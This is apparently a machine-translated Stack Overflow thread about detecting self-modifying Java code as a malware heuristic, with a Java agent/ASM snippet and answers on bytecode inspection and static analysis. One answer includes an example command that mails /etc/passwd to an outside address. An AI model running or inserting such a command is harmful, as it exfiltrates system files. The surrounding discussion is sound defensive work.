2016-03-15 77 views
0

基本上我嘗試在Java中創建惡意軟件檢測程序,檢測程序自修改, 程序應該運行jar文件,並確定它是否包含自我修改代碼的Java操作字節/程序指令/自修改代碼檢測

一個方式,我認爲這樣做是,得到一個.class文件的字節碼初始並將它們進行比較agains正在運行的應用程序文件的字節碼,正在運行的.class文件的字節碼應該是相同的,最初,如果字節碼在某一點不同就意味着該程序修改其自身的結構

的問題是如何,我收到了運行申請的字節碼我希望每0.1秒得到一次字節碼,然後再比較最初的字節碼。

有沒有辦法得到它?

我嘗試了使用Java代理,和ASM但是在執行程序之前,我只能得到字節碼,並執行該程序主要方法之前Java代理運行。

import org.objectweb.asm.ClassReader; 
import org.objectweb.asm.ClassWriter; 

import java.lang.instrument.ClassFileTransformer; 
import java.lang.instrument.IllegalClassFormatException; 
import java.lang.instrument.Instrumentation; 
import java.security.ProtectionDomain; 

public class asm { 

    //java agent 
    public static void premain(String agentArgs, Instrumentation inst){ 
    inst.addTransformer(new ClassFileTransformer() { 

     @Override 
     public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException { 

      if ("other/Stuff".equals(s)) { 
       // ASM Code 
       ClassReader reader = new ClassReader(bytes); 
       ClassWriter writer = new ClassWriter(reader, 0); 
       //ClassPrinter visitor = new ClassPrinter(writer); 
       //reader.accept(visitor, 0); 
       return writer.toByteArray(); 
      } 
      //else{ 
       //System.out.println("class not loaded"); 
      return null; 
      //} 

     } 
    }) 
} 

此代碼使用java代理和ASM,但是我需要知道的是如何在執行應用程序時獲取字節碼。 還,如果有人可以建議有關如何識別在Java程序自修改了不同的方法,我將不勝感激會事先

感謝

+0

你有什麼打算做** **如果應用程序使用*自修改*代碼? –

+0

我只想顯示消息「的應用程序是一個惡意軟件」。該系統即時試圖實現是一個非常基本的惡意軟件檢測系統,所以當它確定自修改代碼,應該把它當作惡意軟件和告知用戶該程序是惡意 –

+1

Java應用程序使用自修改代碼沒有被惡意軟件,你的啓發似乎對我來說。您可能需要調查[JPDA(https://docs.oracle.com/javase/7/docs/technotes/guides/jpda/index.html)。 –

回答

1

有你的問題的一些基本誤解。首先:

如果您懷疑代碼包含惡意軟件,請不要運行它!

有分析在沙箱中的惡意軟件的行爲的研究領域,但因爲這需要謹慎的措施以確保軟件不會造成任何傷害,應該留給專家,在他們的環境

標準惡意軟件檢測軟件通過在沒有(或之前)執行它的情況下分析代碼來工作。這導致該怎麼尋找這樣一個問題:

惡意軟件並不需要包含自修改代碼爲惡意

惡意軟件的特點是執行他們意外的,有害的行動,並以有效果,程序需要執行I/O或啓動計算機上的其他軟件,例如爲了造成文件損壞,您需要文件I/O,發送垃圾郵件或攻擊其他計算機,您需要網絡I/O,以執行Java API未涵蓋的操作,您需要加載本機庫或啓動一個外部過程。

相比之下,在Java中,修改自己的代碼不起作用。修改後的代碼無法執行原始代碼無法執行的任何操作,如果修改發生在運行中,它甚至不會在您的計算機環境中產生任何持久的副作用。因此,如果試圖修改自己的代碼的代碼確實是惡意軟件,那麼它可以直接執行所需的操作而無需間接。除此之外,由於JVM不存儲原始字節碼,因此反覆檢查代碼的想法註定會失敗。代碼以實現相關的方式存儲,針對高效執行進行了優化。因此,當代理通過Instrumentation API向JVM詢問類的代碼時,代理將不會返回原始代碼,而是通過轉換回內部代碼形式創建的代碼等效代碼

這表明by the following statement

最初的類文件字節代表傳遞給ClassLoader.defineClassredefineClasses(施加任何變換之前)字節,但是他們可能不完全匹配。常量池可能沒有相同的佈局或內容。常量池可能有更多或更少的條目。常量池條目可能有不同的順序;然而,方法的字節碼中的常量池指數將對應。某些屬性可能不存在。如果訂單沒有意義,例如方法的順序,訂單可能不會保留。

所以你不能只比較字節數組,但必須解析類文件來模擬它的語義,並將它與先前解析操作的結果進行比較。因此,將JVM的內部代碼表示轉換爲類文件並不是免費的,請添加對它的解析和分析,並且您希望每0.1秒對所有類執行此操作 - 這是一項艱鉅的工作。


最後,沒有必要這樣做。您可以通過啓動選項來控制哪些代理將啓動以及是否可以附加新代理。如果沒有未知代理,那麼將不會有非法使用Instrumentation API的情況,因此不會修改代碼。由於爲了真正檢測到惡意軟件,需要進行靜態代碼分析,找出使用哪些API(例如I/O,ProcessBuilder等),其易於檢查Instrumentation API的使用或ClassLoader也是如此。除了非標準API(應始終提供警告標誌)之外,這些是將新代碼加入JVM的唯一可能方式。

的棘手的工作是要找出這些API的使用是合法的和惡意軟件的其中真正標誌,並計算出未知軟件的潛在危險。但這正是挑戰,真正的惡意軟件檢測軟件必須接受。

1

自修改代碼是不可能在Java中。您可以最接近的是Java代理,但是一旦加載了類,字節代碼是不可變的。無論如何,將反射用於混淆更容易。

0

修改字節碼的最簡單的方法是通過儀器。這將允許您在加載時監視每個類的字節碼,但您無法確定另一個Instrumentation代理不會在您之後運行。即無法確定您正在查看最終的字節碼。

還有許多類,包括lambdas和反射處理程序,都是動態生成的,因此您沒有任何「原始」字節代碼來比較它們。

作爲一個練習,您可以通過從類加載器獲取字節碼並對其進行比較來檢測加載時是否修改了類。

一個更加簡單的有惡意軟件的方法是通過的Runtime.exec

Runtime.exec("mail [email protected] < /etc/passwd") 

執行命令你可以通過檢查字節碼,並阻止它這樣做檢測這種行爲。

一般來說,你需要的是一個真正的惡意軟件程序可以分析,然後發現它在做什麼。